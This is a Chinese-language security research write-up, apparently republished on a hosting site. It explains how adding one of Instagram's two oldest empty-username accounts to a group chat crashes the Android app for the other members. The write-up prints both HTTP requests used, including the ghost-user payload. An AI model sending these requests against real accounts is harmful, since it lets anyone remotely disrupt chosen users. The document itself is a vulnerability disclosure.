您好,登錄后才能下訂單哦!
這篇文章給大家介紹怎么利用兩個僵尸賬戶實現對任意Instagram賬戶的遠程崩潰,內容非常詳細,感興趣的小伙伴們可以參考借鑒,希望對大家能有所幫助。
通過對Instagram的安全研究,結合Instagram在構造用戶名時遵循的規律機制,發現了Instagram后端數據庫中存在的兩個僵尸賬戶。然后通過創建聊天群組功能,利用這兩個僵尸賬戶的添加入群請求,可對群組成員實現Instagram應用的遠程崩潰攻擊。
在我對Instagram的安全研究中發現,Instagram在其后端數據庫中,使用了簡單的主鍵標識符(Primary Key ID,PKID)遞增方式來定義分配其用戶賬戶,因此,我很好奇想去發現,Instagram社交網絡上創建的第一批用戶賬戶到底是些什么?后來,我發現當PKID為3或4時,其指向的對應賬戶為Instagram創始人之一的Mike Krieger。
Primary Keys:主鍵,又稱主碼,數據庫表中對儲存數據對象予以唯一和完整標識的數據列或屬性的組合。一個數據表只能有一個主鍵,且主鍵的取值不能缺失,即不能為空值(Null)。主鍵有時也稱主鍵標識符(Primary Key IDs,PKID)。
相較于全局標識符(GUID)來說,從技術角度來看,Primary Key IDs(PKID)具備幾個優點:容易記憶、增量變化的快速查詢、產生的數據庫碎片較少、遵循特定的模式、占用的存儲空間小。
有點意思了.....,但PKID = 1 或 PKID=2對應的第一和第二個Instagram賬戶又是什么呢?經我研究發現,他們有點不尋常,它們對應的賬戶用戶名并不是合理的構造:確切地說,是其用戶名數據結構中包含一個空字符串""(""分配了一個長度為空的存儲空間),可以肯定的是這種分配設置絕對會導致其它問題。我的想法是,這兩個賬戶是在Instagram的初始測試階段創建的,但當時它只不過是一個alpha版本,為什么到現在這種測試賬戶還未被刪除,仍然存在Instagram的后端數據庫中呢?現在,我們暫且把這兩個測試賬戶稱為“幽靈賬戶”(Ghost Users)或僵尸賬戶吧。
可以肯定的是,如果服務端(Server-Side)對空字符串""的處理不當,那么一定會導致某些安全風險。由此我想到了一個點子:可以利用服務器后端對不當格式畸形數據的錯誤解析,來觸發Instagram應用程序的崩潰。那要是能遠程讓其他Instagram用戶發生崩潰,是不是就更有意思了呢?
通過對Instagram功能的測試研究,我發現可以利用其中一個功能來實現上述的說的“遠程崩潰”,那就是:Instagram消息標簽(Messages Tab)下的群組(臨時聊天群)創建。這個功能對應的群組創建請求和API為:
/api/v1/direct_v2/create_group_thread/
我用我的 Samsung Galaxy S8+ 配合Instagram 8.0的測試賬戶,先來創建一個兩人的臨時聊天群組試試,其請求如下:
POST /api/v1/direct_v2/create_group_thread/ HTTP/1.1User-Agent: Instagram ....Accept-Language: en-USCookie: urlgen= ....Accept-Encoding: gzip, deflateHost:i.instagram.comX-FB-HTTP-Engine: LigerConnection: closeContent-Length: 353signed_body=d963d5f048924a58712d8bcf7912ac76a7c3c990199c7d59ac25e7990e142f49.{"recipient_users":"[xxxxxxxxxx]","_csrftoken":"WBpZmckmENi6eiubd26Osz6SIR3vtowu","thread_title":"bdbdbdbdbdxb","_uid":"12579513534","_uuid":"d18570eb-0663-40f4-bcc3-0c48a5031cee"}&ig_sig_key_version=4
其中,"recipient_users"代表的是我拉進這個臨時群組的另外一名用戶(這里稱他為Victim),xxxxxxxxxx代表了他的instagram ID。重點是其中的JSON參數數據對結構。現在,我和另外一名用戶的兩人臨時聊天群組創建完成。
緊接著,我通過另一個API,再來拖進一名用戶加入這個群組。這里,我就要添加進之前我們說的“幽靈用戶”了。其請求如下:
POST /api/v1/direct_v2/threads/yyyyyyyyyy/add_user/ HTTP/1.1User-Agent: Instagram ....Accept-Language: en-USCookie: urlgen= ....Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept-Encoding: gzip, deflateHost:i.instagram.comX-FB-HTTP-Engine: LigerConnection: closeContent-Length: 109_csrftoken=Pod4ZKSSLYUYMPs2TxhN5Xkmsv6xUOsO&user_ids=["2"]&_uuid=d18570eb-0663-40f4-bcc3-0c48a5031cee
上述請求中,yyyyyyyyyy是第一個創建群組請求時,Instagram后端響應消息中代表群組的ID號。我們在這個請求中,請注意,填充進一個值為2的user_ids字段,也就是PKID=1或2的,前述的一個“幽靈用戶”。
當我們把這個添加“幽靈用戶”的請求發出后,群組內成員的另一名用戶(Victim)手機上的Instagram應用程序立即就發生了崩潰,并且所有群組成員都會被強制退出群組。
這很大可能是由于Instagram后端在解析“幽靈用戶”用戶名時,其中的空字符串("")引發的解析錯誤所導致的,以下是我從崩潰事件中的截獲的事件記錄:
目前,該漏洞僅在Instagram for Android應用環境中測試有效,利用該Bug漏洞,可以通過添加正常成員入群,然后再添加進入前述的“幽靈用戶”,以此來實現對任意Instagram賬戶的遠程崩潰攻擊。
關于怎么利用兩個僵尸賬戶實現對任意Instagram賬戶的遠程崩潰就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。